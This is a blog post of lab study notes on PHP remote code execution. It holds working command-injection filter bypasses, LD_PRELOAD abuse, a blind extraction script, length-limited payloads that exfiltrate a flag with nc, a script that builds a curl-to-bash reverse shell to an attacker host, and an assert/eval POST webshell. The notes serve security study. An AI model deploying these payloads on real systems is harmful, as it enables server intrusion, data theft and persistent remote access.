RCE漏洞学习

发布时间 2023-05-29 18:30:29作者: stoocea

RCE漏洞学习 (橙子科技靶场)

靶场搭建基于docker,搭在我的一部kali的虚拟机里面,之前自己写了一篇关于kali使用的笔记,忘记如何开启靶场就去复习一下

1.命令执行的一些函数

重点如何去学习 以及之后如果我们要回想的话,该如何提醒自己

  • 怎么运行?
  • 它的运行条件
  • 参数
  • 能否回显

1.system()

 <?php
highlight_file(__FILE__);
$cmd = $_GET["benben"];
if(isset($cmd)){
    system($cmd);
}
?> 
  • 它直接就会运行括号里面的内容,比如你输入 ls 它就会直接把结果回显出来
image-20230521150403665
  • 参数 : 1 执行的指令
  • 回显:可以回显

2.exec

 <?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
exec($cmd,$array);
print_r($array);
?> 
  • 参数

    exec(a,b,c)

    总计3个参数,第一个参数a为我们想要执行的指令,第二个为储存我们的命令执行结果的一个数组,相当于一个载体。

    c参数不讲,对于我们的命令执行无关

  • 回显

    本身可以回显,但是如果我们没有设置第二个参数进行储存的话,它只会回显最后一位的结果,所以我们有参数储存之后就可以通过print_r之类的打印函数将其打印出来

    image-20230521151520665

3.passthru

 <?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
echo "This is test!!!";
passthru($cmd);
?> 
  • 参数

    一个,就是我们想要执行的命令

  • 回显

    可以自动回显,不需要打印函数

4.shell_exec

 <?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$output = shell_exec($cmd);
echo $output;
?> 
  • 参数

    一个 执行的命令

  • 回显

    不能自动回显,需要打印函数帮助输出

5.``反引号

在无字母,无数字的回显中使用极多

 <?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
echo `$cmd`,PHP_EOL;
?> 
  • 参数

    一个,执行指令

  • 回显

    不能回显,需要帮助

6.popen

 <?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$ben = popen($cmd,'r');
while($s=fgets($ben)){
    print_r($s);
}
?> 
  • 执行

  • popen的执行需要单独拉出来,因为popen的原理是创建一个虚拟文件,但是他本身其实并不存在,而是属于一个间接的作用。这个虚拟文件用来暂时储存我们命令执行的内容,然后我们再对这个虚拟文件进行操作。比如我们输入ls,它就会把ls的执行结果放入到这个虚拟文件中

  • 参数

    总计两个 第一个参数用来表示我们想要执行的命令

    第二个参数是用来表示我们读取这个虚拟文件的方式,有'r'读取,或者'w'写入,两种

  • 回显

    没有回显,需要一些文件读取函数去操作这个虚拟文件,才能得到命令执行的结果

2.靶场过滤练习

1.替换,绕过函数过滤

<?php
header("content-type:text/html;charset=utf-8"); 
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])){
    $c = $_GET['cmd'];
    if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
        eval($c);
    }
    else{
        echo "你是黑客么?";
    }
}

preg_match() 是我们RCE题里面很常见的一种过滤函数

有两个参数 第一个参数用来列举我们想要过滤的东西,一般里面的内容都是用正则表达来表示

第二个参数是传入我们要进行过滤操作的字符串或者说是目标

要解,就是使用没有被过滤的,比如passthru()

2.LD_PRELOAD原理介绍

  • 使用情况

    对我们的命令执行函数过滤极其严格,甚至说是把所有命令执行函数都过滤掉了的时候就可以考虑

​ LD-PRELOAD preload预加载,这里加载的动态链接库。也就是说当我们执行一些代码文件的时候,比如php或者c语言文件的时候总是会预先加载一些库文件。那我们这里就是修改一些库的内容,这些库一般都是加载时必须使用的,从而达到我们攻击代码执行的目的

首先先写一个php文件

#vim demo.php(kali机里面命令编辑一下)
输入如下内容
<?php
mail('','','','');

?>

这里我们使用了mail这个函数,当我们使用的时候他会加载一些库

#strace -o 1.txt -f php demo.php 

输入如下指令,将我们执行demo.php时预先加载的库的内容写入到1.txt文件,然后我们查看

#vim 1.txt |grep execve

这里直接vim 1.txt内容太多了,我们直接管道输出符过滤一些输出结果 grep execve这里就是我们预先加载的一些库啦

![QQ图片20230521171431](C:\Users\ASUS\Desktop\Typora note\QQ图片20230521171431.png)

这里我们看到,为了使用mail呢,我们调用了sendmail这个配置文件,所以说,我们传入的php文件一定会调用这个sendmail这个文件,而在sendmail里面有一个一定会调用的geteuid的库

readelf -Ws /usr/sbin/sendmail

查看一下

image-20230521172035638

在99行这个地方

为什么是geteuid?因为它比较方便让我们去使用

ok,接下来就是去写我们的预先加载的动态链接库了,这里用C语言去写(接近底层)

#vim demo.c(kali机指令编辑)
输入以下内容
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
    
    void payload(){
	system("echo 'hello world'");
	}
	int geteuid(){
    unsetenv("LD_PRELOAD");
        payload();
    }

ok,再去将我们的这个C文件编辑成so库文件

输入指令
gcc -shared -fPIC demo.c -o demo.so   

就已将c文件复制一份的内容转变为so文件

image-20230521173121856

再去修改我们的执行php文件

<?php
putenv("LD_PRELOAD=./demo.so");
mail('','','','');

?>

putenv里面语句内容意思就是说预先加载我们的同等目录下的demo.so文件

然后我们执行php文件

image-20230521173250145

就实现了通过修改动态链接库内容来实现攻击的方法。

  • 使用条件

    能够上传你自己的so文件

3.操作系统链接符

 <?php
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
if(isset($cmd)){
    system("ls".$cmd);
}
?> 

该题主要内容是system()里面的内容是将"ls"与我们的参数cmd字符串连接起来了,导致如果我们直接输入cmd指令,就导致我们的命令执行不了

解决办法肯定是有的,就是我们在cmd指令前面加一个连接符,或者管道输出符,就能够实现同时执行多条命令

payload如下

?cmd=;cat /flag

不止 ' ; ' 还有'&' '|'

有一个很特别的 '&&' 它是先看我们前面的指令没有成功的话后面的指令是不会执行的

这里画一个重点 ‘|’ 这里在我们学习ssti模板注入的漏洞的时候就已经体会过了,很形象的叫法:"管道输出符" 算是起到了一个过滤网的作用,我们的回显的结果就会被管道输出符以及它后面的条件所过滤,最终得到结果

' || ' 相当于if-else的作用

?php
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
$cmd = $cmd." >/dev/null 2>&1";
if(isset($cmd)){
    system($cmd);
}
?>

它的作用主要是体现在,如果后台对我们的指令进行了处理,比如说将我们的所有指令全部‘放入垃圾桶’的话,就通过在cmd变量最后输入’ || ‘ 就只会执行我们的想要的指令,后面的垃圾桶操作就不会去执行了

>/dev/null 2>&1

这条代码的作用就是将我们的指令丢入垃圾桶的作用代码,特征很明显 最重要的是后面的 2>&1

4.过滤绕过

1.空格过滤 以及它的绕过方法

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
if(isset($cmd)){
    $cmd = preg_replace("# #","",$cmd);
    echo "过滤后的命令:".$cmd."</br >";
    echo "命令执行结果如下:";
    system($cmd);
}
?> 

绕过方法

1.大括号绕过

payload如下

?cmd={cat,/flag}

那其实的{}的作用就是起到一个里面的逗号' , '充当空格的作用

image-20230521230043204

2.${IFS}绕过

其实$IFS也是可以绕过的,但是有时候dash的linux环境会把我们的$IFS的当作变量,不会自动转化为空格。导致绕过失败

所以保险起见还是写上{}将内容包起来,说明它不是变量

image-20230521230135079

3.URL编码绕过

如果要绕过空格过滤,一般都不会去用%20(空格编码后的结果) 一般都是去用 %09(tab的编码结果)

image-20230521230401942

4.重定向符号绕过

< <>两种方式

先看payload

?cmd=cat</flag
?cmd=cat<>flag

什么意思呢?就是把我们在cat后面加上<后 就表示先让cat指令待命,然后把我们后面输入的内容放入cat去执行

不推荐使用cat<>flag 因为<>会创建一个新的文件,会导致一些不必要的麻烦。

2.文件名过滤 以及它的过滤

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match("/flag|system|php/i", $cmd)) {
        eval($cmd);
    }
    else{
        echo "命令有问题哦,来黑我丫!!!";
        }
} 

preg_match()里面的内容就是通过正则表达把我们的flag system php等字样给过滤掉了

但是我们总归还是要输入flag字样的,不然找不到文件。

绕过方法

1.通配符绕过

通配符的意思就是它可以代表任何的字母然后穷举所有字母结果来一个一个去执行命令

一个是? 一个是*

1./'?'
?能够代表任何的字母,那比如说我们payload如下
?cmd=passthru('cat /f?ag')

它的意思就是cat /faag (fbag.....一直到Z它都会去试一遍,所有有的文件的内容都会被cat出来)

2.'*'星号

能够代表所有字符 就算我们的payload如下

?cmd=passthru('cat /*')

它都会把所有该文件夹有的内容都cat出来

3.'\'反斜杠

\的作用其实算是一个命令连接符,我们输入 cat /f\la\g 它其实在linux里面就直接认定为了cat /flag 但是过滤操作又是在php页面里面,所以,linux本身不受影响

单引号 双引号
?cmd=passthru('cat /f""lag.p""hp')

原理是一样的,过滤操作只在php页面中,linux系统执行命令的时候是不会受到影响的,因为在命令行里面,"" '' 会被无视掉

4.一些特殊字符 $系列
?cmd=passthru('cat /f$1lag.p$9hp')

原理是一样的,只是形式不同而已 因为它正则匹配是连续匹配,如果连续匹配成功才会判定为真。所以我们只需要在不影响命令执行的情况下,分割我们的命令就行

5.内联执行
?cmd=passthru('a=f;b=la;c=g;e=.ph;f=p;cat $a$b$c$e$f')

意思翻译过来就是我们在内部定义变量,然后用变量将我们的命令拼接起来

6.利用服务器内部环境变量来构造语句 $

image-20230522195431928

我们先用echo $PATH 把我们需要的环境变量这串字符串给输出出来 因为我们要按照这串字符串的每一个字符的位置来构造payload

首先明确,我们要构造 flag.php 所以来找每个字符在环境变量中的位置

例如f,虽然我们环境变量中没有,但我们可以直接输入f,不会被过滤

再看l 最近的在第六个位置 但是由于是字符串数组 所以 它应该改成${PATH6:1}

image-20230522200014365

所以,一个一个来找,一一对应就行。也没必要所有的字符内容翻译,只需要保证不被连续匹配就行

3.关于常见命令(如文件读取命令cat)过滤的绕过

 <?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match("/flag|php|cat|sort|shell|\'/i", $cmd)) {
        eval($cmd);
    }
    else{
        echo "再来黑我丫!!!";
    }
} 

绕过方法总结

1.tac 反向显示

image-20230522201055848

效果如图,本来是第一行开始显示,用了 tac之后就是从最后一行开始显示一直到第一行。

image-20230522202108991
2.more与less(一页一页的回显内容)

翻译过来就是一页一页的帮我们显示内容 在linux中我们用more读取文件时,它会先显示一页,然后我们敲个回车它就会显示下一面

我们做题的时候flag文件内容本来就少,使得more其实跟cat的作用是一样的,当然less也是

3.tail(输出文件末尾的10行内容)

tail的意思是查看末尾的10行,除去这个,与cat相同

4.nl(cat作用相同,而且能够顺便输出行号)

跟cat一模一样,而且它还会顺便输出行号

5.od与xxd(查看文件二进制形式)

以二进制形式查看源代码,当然它也可以加几个参数,转化一下,能够看到asic转码之后的内容

payload如下

?cmd=passthru("od -A d -c /f?ag");

image-20230522203343691

xxd内容如下,更加的方便

image-20230522203524477

当然,xxd这个命令不是每个服务器都有,所以后面的编码绕过,一般是使用shellcode编码去执行16进制的机器码

6.sort(将内容排序后输出出来)

将内容排序后输出出来,效果是一样的

image-20230522203653690

7.unqi(当cat用就是)

当cat用就是

image-20230522203819710

8.file -f(将报错信息回显到界面上)

意思是将报错的信息给回显到界面上

image-20230522203952582

9.grep(在指定文本中搜索指定字符串)

在文本中搜索指定字符串,并将内容输出出来

?cmd=passthru("grep { fla*");

语句意思 从fla*文件中搜索包括{ 的行 一般flag都是用{}包裹起来的

4.编码绕过

 <?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match("/flag|php|cat|sort|shell/i", $cmd)) {
        eval($cmd);
    }
    else{
        echo "再来黑我丫!!!";
    }
} 

题目是一样的,但是我们换一种方法,换成编码绕过的方法去间接执行我们的命令

1.base64编码绕过

#首先我们先base64编码一下我们想要去执行的内容 cat /flag
#这里贴一段自己写的base64的编码脚本
import base64
pre=b'cat /flag' #这里cat前面的b并不是我们想要转化的内容,b是代表着我们该变量的类型的是字节包形式
                #b是必须要的
                
aft=base64.b64encode(pre)
print(aft)
#得到结果 Y2F0IC9mbGFn

然后我们再利用管道输出符把我们输出的这个base64编码的结果在服务器交互环境下进行base64的decode payload如下

?cmd=passthru("echo Y2F0IC9mbGFn | base64 -d")

光这样还不够,这仅仅只是说把我们的base64编码内容解码了,并不算命令,所以我们再添加一段管道输出符,将其执行

?cmd=passthru("echo Y2F0IC9mbGFn |base64 -d |/bin/bash")
或者说是sh csh等交互界面
?cmd=passthru("echo Y2F0IC9mbGFn |base64 -d |sh")
?cmd=passthru("echo Y2F0IC9mbGFn |base64 -d |csh")

|/bin/bash这段内容就是将Y2F0IC9mbGFn解码后的结果放入bash命令交互环境中去执行

#这里再贴一段base64的解码脚本
import base64

pre=b'Y2F0IC9mbGFn' #输入你想解码的内容

aft=base64.b64decode(pre)
print(aft)

当然 base64可以,base32的当然也可以

2.shellcode编码

由于shellcode生成较为麻烦,这里我们直接记下tac /flag经过ASCii转码再转shellcode的内容

\x74\x61\x63\x20\x2f\x66\x6c\x61\x67

这里为啥不放到kali机中?因为我使用了/ 到kali机种搜索目录必须 \ 不然找不到目录

然后我们输入到靶场中

image-20230522224220624

时间盲注这个方面我是真的不想去做了,我直接上poc脚本

import requests
import time
url = "http://192.168.1.6:19080/class08/1.php"
result = ""
for i in range(1,5):
    for j in range(1,55):
        #ascii码表
        for k in range(32,128):
            k=chr(k)
            #time.sleep(0.1)
            payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " "

5.长度过滤

1.前置知识

1.>与>>

单大于号(其实可以看做单箭头)可以用来创建文件,具体指令如下

echo stoocea>a

image-20230523091707554

它就会直接在当前目录下创建一个新的文件,并且把内容stoocea这个内容也写进去,但是要注意 >如果下次对同一个文件操作的话,会覆盖内容

但是如果是>> 它重复对一个文件使用就会起到追加的功能

2.\ 换行符的运用

它在linux机器里面的作用是起到换行符的作用,可以是使我们的输入命令拼接起来,不会输完一段内容就执行

image-20230523134204981

\\还有一个作用,就是可以把我们的空格实体化,待会我们在页面中想输入空格的时候就可以

\ \\

中间的空格内容就会被传入指令区,然后最后的\ 也继承了命令继续执行的作用

3.ls -t dir rev(按时间顺序读取文件名)

首先我们可以先创建文件,用文件名的拼接组成我们的命令

输入如下指令 cat /flag

>g
>a
>l
>f
>t
>a
>c


然后我们按时间顺序输出出来,就可以组成我们想要的指令

image-20230523143538513

按图中来的话我还是快一点直接touch创建文件了,题目肯定不行,因为有字数限制

(flag文件里面写的NSS)

然后是最后的 $(dir *) 就是将我们的dir出来的文件名第一个作为指令 第二个作为参数 然后去执行。得到的效果是一样的

这里再介绍一个 rev指令 和cat是一样的,但是rev会把文件里面的内容给倒叙输出出来,跟sort的按行倒叙不一样,这个是整个内容倒叙

长度限制为9基本上没啥限制就不写笔记了

2.长度为7的过滤练习

看例题

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
    $a = str_replace("/\*|\?|/","=====",$argv);
    return $a;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
    exec(filter($_GET['cmd']));
} else  {
    echo "flag in local path flag file!!";
} 

先看function里面的filter函数 对我们的payload进行了过滤

不准输入 * ? 如果有就就他们全部替换为=====

然后if又对我们的payload进行了长度限制

所以总的payload如下

?cmd=>7777
?cmd=>\ \\
?cmd=>161\\
?cmd=>1.\\
?cmd=>168.\\
?cmd=>192.\\
?cmd=>c\ \\
?cmd=>\|n\\
?cmd=>flag\\
?cmd=>t\ \\
?cmd=>ca\\

那么它放到我们命令栏中执行的时候就是

cat flag|nc 192.168.86.128 7777

通过我们的kali监听7777端口从而得到回显的flag

3.长度为5的限制

长度限制为5嘛,所以限制就更多,有一些重要的payload就不能去实现。比如说

ls -t>a 

这条指令是我们最后构造完之后执行命令的关键,如果它执行不了的话,我们的命令就无法去执行。

然后又因为 ls -t这里已经到了长度为5的限制,更是一绝。所以我们要转化思路,我们不能直接将命令写到payload里面。反弹shell更加实际。也能够满足题目要求。

所以,怎么去构造反弹shell的payload呢?

在此之前,我们kali机上面必须开启http服务,并且开启监听服务,接受shell


vim index.html
#下面内容写到index.html里面
nc 192.168.86.128 7777 -e  /bin/bash #开启监听

pyhton -m http.server 80 #开启http服务


然后先在靶机上构造如下指令,反弹shell到我们的kali机上 ,这边构造有一个脚本,我们可以一步一步来 最种结果是通过一个 '_'文件 来执行将下面命令写入y文件的操作



curl 192.168.86.128 |bash
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/3/index.php?cmd="
s = requests.session()

# 将ls -t 写入文件_
list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>y",
    "ls>>_"
]

# curl 192.168.1.161/1|bash
list2=[
    ">bash",
    ">\|\\",
    ">\/\\",
    ">61\\",
    ">1\\",
    ">1.\\",
    ">8.\\",
    ">16\\",
    ">2.\\",
    ">19\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]
for i in list:
    time.sleep(1)
    url = baseurl+str(i)
    s.get(url)

for j in list2:
    time.sleep(1)
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
?cmd=>\>y
?cmd>
<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
    $a = str_replace("/\*|\?|/","=====",$argv);
    return $a;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
    exec(filter($_GET['cmd']));
} else  {
    echo "flag in local path flag file!";
}

4.无字母数字回显操作的三种操作方法

这个情况,如果有变量的需要,考虑使用$_

也就是说_作为变量 然后需要不止一个变量就$__ 两个下划线 三个 。。。叠加来表示变量

 <?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9]/is',$_GET['cmd'])) {
    eval($_GET['cmd']);
} 
1.异或运算得到结果

两段字符经过异或运算过后是可以得到一串新的结果的。比如说,"5"^"Z" 数字5和大写Z进行异或运算,得到的结果就是o 为什么?异或运算的过程是这样的:
首先先将5 和Z都进行二进制转化,然后按位进行异或运算,相同得1 不同得0 然后每一位异或之后的结果,也就是新的一串二进制数所表示的字符,就是新的结果

所以,我们可以通过一些脚本得到我们想要的字符串,比如说我们想要得到phpinfo

根据以下脚本来生成相对应的两个字符串

<?php
#使用指南 如果说你有phpstrom可以直接复制到phpstrom里面去运行 然后把你想要替换的字符换成shell里面的值就能够得到两种变量通过运算,从而达到这两个变量异或之后变成你想要的结果
#而且有judge函数的存在,不会存在字母或者数字的情况
#如果没有phpstrom请到在线的php运行工具中进行使用
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$shell ='system(ls)';   #$_GET["cmd"];
$result1 = "";
$result2 = "";

function judge($c)
{
    if(!preg_match('/[a-z0-9]/is',$c))
    {
        return true;
    }
    return false;
}

for($num=0;$num<=strlen($shell);$num++)
{
    for($x=33;$x<=126;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=33;$y<=126;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo "异或运算第一部分: ".$result1;
echo "<br>";
echo "异或运算第二部分: ".$result2; 

由于存在函数judge() 所以不会出现字母和数字的情况

以phpinfo举例就可以得到结果

异或运算第一部分 +(+).&/
异或运算第二部分 [@[@@@@

传入payload时通过$_变量以及堆叠来实现phpinfo()函数

?cmd=$_="+(+).&/"^"[@[@@@@";$_();

这样还不够,当我们传入+ 到url中它会被识别为空格,所以我们还有urlencode一下

?cmd=%24_%3d%22%2b(%2b).%26%2f%22%5e%22%5b%40%5b%40%40%40%40%22%3b%24_()%3b

得到结果

image-20230523234747439

当然这是最基本的使用,我们这边下面就要学习如何通过php代码异或后的堆叠,相当于在当前页面写入一个木马来进行绕过

最主要的代码思路是通过 assert($_POST['']);这个函数,这个思路只适合php5到php7前几个版本,但一般能用了。

<?php
$a='assert';
$b='_POST';
$c=$$b; #这个时候$c='$_POST'
$a($c['_']); #这行代码的结果就是assert($_POST['']);
#这就相当于当前页面通过php的一些eval这种执行代码的函数植入了一份木马,然后我们就饿可以通过POST传参进行命令执行了
?>
    
#但是页面是无字母,所以我们要把变量名和值都修改一下
<?php
    $_="!((%)("^"@[[@[\\";
    $__="!+/(("^"~{`{|";
    $___=$$__;
    $_($___['_']);
    
    ?>

变量名都通过下划线替换掉

$_="!((%)("^"@[[@[\\";$__="!+/(("^"~{`{|";$___=$$__;$_($___['_']);

然后我们将这段payload转入到我们页面中,经过urlencode编码后传过去

2.取反绕过

题目还是一样的,其实与异或差不多,但是计算方式不一样的,这里我们来举个例子

<?php
$a="a";
echo bin2hex($a);
?>

此时a出来的结果为 0110 0001

然后我们假如说我们对a取反之后得到的结果为 1001 1110

16进制表示为9E。

<?php
$a="%9E";
$b=~(urldecode($a));
echo $b;
?>

此时,出来的结果就是a

这就是取反的原理

橙子科技这边给了个脚本可以自动生成取反的payloadimage-20230524232504458

说在最后的扩展

一直对于assert这个函数有点朦胧的感觉,搞不懂为什么明明有eval不用,非得用assert(),直到我看了这篇博客

https://www.cnblogs.com/Article-kelp/p/14704975.html

看完之后再看最后的总结才算是解除了我的疑问

  1. 使用GET值作为马的连接密码的payload全部不可连接->蚁剑探测马是否可以用只使用了POST方式进行探测
  2. 仅使用assert的payload不可连接->原因有两个,一是因为蚁剑用来探测的语句由多句PHP代码构成,但assert只能执行第一句PHP代码;二是因为探测的语句使用了echo,而assert无法执行关于echo的代码

而且eval不为php的系统函数,不能够直接去利用

这也是为什么在[极客大挑战 2019]RCE ME这道题里面,我们不能够直接在eval填入我们的取反payload

所以整体思路应该构造 不仅能够执行多条php代码,而且使用POST去提交 能够与我们的蚁剑适应。

assert(eval($_POST[1]))

那我们这里贴上取反的脚本供日后使用

<?php
error_reporting(0);
$a='assert';//可替换字符串
$b=urlencode(~$a);
echo '(~'.$b.')';
$e='(eval($_POST[1]))';//可替换字符串
$d=urlencode(~$e);
echo '(~'.$d.')';
//在phpstrom或者W3school的php在线编辑器执行就行
?>

执行之后得到结果

(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6)

将这段代码送入注入点code

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

记得加分号,不然不执行,然后用蚁剑连接,在跟目录发现flag文件和readflag文件

flag文件里面啥都没有 只能看readflag文件了,在readflag文件处打开webshell

image-20230525205600877 image-20230525205709008

image-20230525205745334

再怎么输入信息也无法执行,这个时候就要想到是不是disable_function让我们的shell失效了

查看phpinfo()页面消息,确实是被禁用了,那我们用蚁剑的disable_function这个插件来绕过

image-20230525205956181

github上下载即可

这个时候我们就可以在蚁剑上正常使用终端了

image-20230525210337101

当然这是最简单的办法,我们还能够复习一些LD_PRELOAD来通过加载动态链接库执行我们的指令